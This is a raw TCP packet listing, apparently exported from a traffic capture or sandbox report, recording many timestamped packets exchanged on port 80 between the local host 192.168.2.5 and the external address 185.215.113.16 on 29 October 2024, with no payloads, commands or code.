Oct 29, 2024 05:02:30.977925062 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.977946043 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.977969885 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.978037119 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.978049994 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.978060007 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.978079081 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.978094101 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.978140116 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.978151083 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.978159904 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.978182077 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.978212118 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.978276014 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.978321075 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.978322029 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.978338957 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.978362083 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.978372097 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.978383064 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.978384972 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.978390932 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.978415012 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.978427887 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.978931904 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.978950024 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.979008913 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.979038954 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.979141951 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.979202032 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.979212999 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.979223967 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.979242086 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.979274988 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.979290962 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.979300976 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.979310989 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.979327917 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.979334116 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.979367971 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.979382992 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.979387045 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.979393959 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.979403973 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.979435921 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.979446888 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.979458094 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.979458094 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.979465008 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.979501009 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.979537010 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.979547977 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.979558945 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.979584932 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.979633093 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.979644060 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.979654074 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.979665995 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.979710102 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.979721069 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.979737043 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.979793072 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.979794025 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.979794025 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.979794025 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.979794025 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.979850054 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.979860067 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.979870081 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.979882002 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.979892969 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.979899883 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.979924917 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.979928017 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.979935884 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.979950905 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.979973078 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.979974985 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.979984999 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.979995012 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.980034113 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.980048895 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.980154037 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.980173111 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.980181932 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.980195999 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.980211020 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.980221033 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.980228901 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.980233908 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.980263948 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.980276108 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.980298996 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.980299950 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.980325937 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.980341911 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.980361938 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.980410099 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.980420113 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.980432987 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.980443001 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.980451107 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.980464935 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.980494976 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.980516911 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.980529070 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.980537891 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.980561972 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.980586052 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.980601072 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.980628014 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.980674028 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.980688095 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.980699062 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.980709076 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.980731010 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.980732918 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.980746031 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.980787039 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.980820894 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.980863094 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.980875015 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.980885029 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.980907917 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.980937958 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.022783041 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.022808075 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.022818089 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.022918940 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.064826965 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.064876080 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.064887047 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.064985037 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.094567060 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.094598055 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.094608068 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.094618082 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.094693899 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.094748974 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.094778061 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.094800949 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.094811916 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.094842911 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.094863892 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.094935894 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.094952106 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.094964981 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.094986916 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.094999075 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.095005989 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.095010996 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.095032930 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.095062971 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.095276117 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.095285892 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.095297098 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.095326900 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.095356941 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.095369101 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.095376015 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.095385075 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.095397949 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.095411062 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.095421076 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.095429897 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.095442057 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.095448971 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.095483065 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.095483065 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.095966101 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.096014977 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.096024036 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.096035957 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.096064091 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.096082926 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.096442938 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.096499920 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.096510887 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.096540928 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.096564054 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.096565008 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.096575022 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.096586943 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.096600056 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.096615076 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.096642017 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.096710920 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.096723080 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.096734047 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.096745014 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.096751928 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.096774101 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.096798897 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.096813917 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.096826077 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.096838951 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.096848011 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.096863985 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.096888065 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.096978903 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.096990108 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.097001076 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.097012997 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.097018957 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.097026110 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.097028017 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.097039938 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.097053051 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.097054005 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.097064972 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.097083092 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.097105026 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.097110033 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.097131968 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.097143888 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.097177029 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.097188950 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.097227097 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.097239017 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.097254038 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.097275019 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.097301006 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.097305059 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.097313881 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.097354889 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.097382069 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.097393990 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.097405910 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.097423077 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.097424984 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.097438097 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.097450972 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.097485065 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.097508907 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.097522974 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.097534895 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.097547054 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.097547054 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.097572088 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.097596884 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.097601891 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.097609043 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.097644091 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.097651005 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.097656965 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.097668886 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.097683907 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.097712040 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.097714901 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.097727060 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.097737074 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.097754955 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.097783089 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.097815990 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.097827911 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.097853899 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.097879887 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.097888947 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.097899914 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.097910881 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.097928047 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.097943068 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.097970963 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.097992897 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.098004103 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.098031998 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.098056078 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.098071098 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.098082066 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.098118067 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.139887094 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.139905930 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.139919996 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.139933109 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.140002966 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.140043974 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.181845903 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.181863070 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.181875944 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.181950092 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.181986094 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.211870909 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.211920977 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.211931944 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.211977959 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.211991072 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.211992979 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.212022066 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.212029934 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.212039948 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.212040901 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.212052107 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.212076902 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.212099075 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.212101936 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.212121010 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.212131977 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.212162018 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.212176085 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.212311029 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.212362051 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.212372065 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.212405920 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.212433100 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.212445021 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.212456942 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.212465048 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.212466002 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.212495089 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.212497950 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.212507010 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.212516069 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.212532997 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.212557077 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.212965012 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.212974072 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.212980032 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.212985992 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.213006020 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.213031054 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.213356018 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.213375092 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.213385105 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.213417053 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.213440895 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.213450909 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.213460922 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.213479996 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.213498116 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.213535070 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.213574886 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.213583946 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.213593960 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.213613987 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.213629961 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.213635921 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.213645935 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.213673115 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.213686943 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.213690996 CET	80	49735	185.215.113.16	192.168.2.5
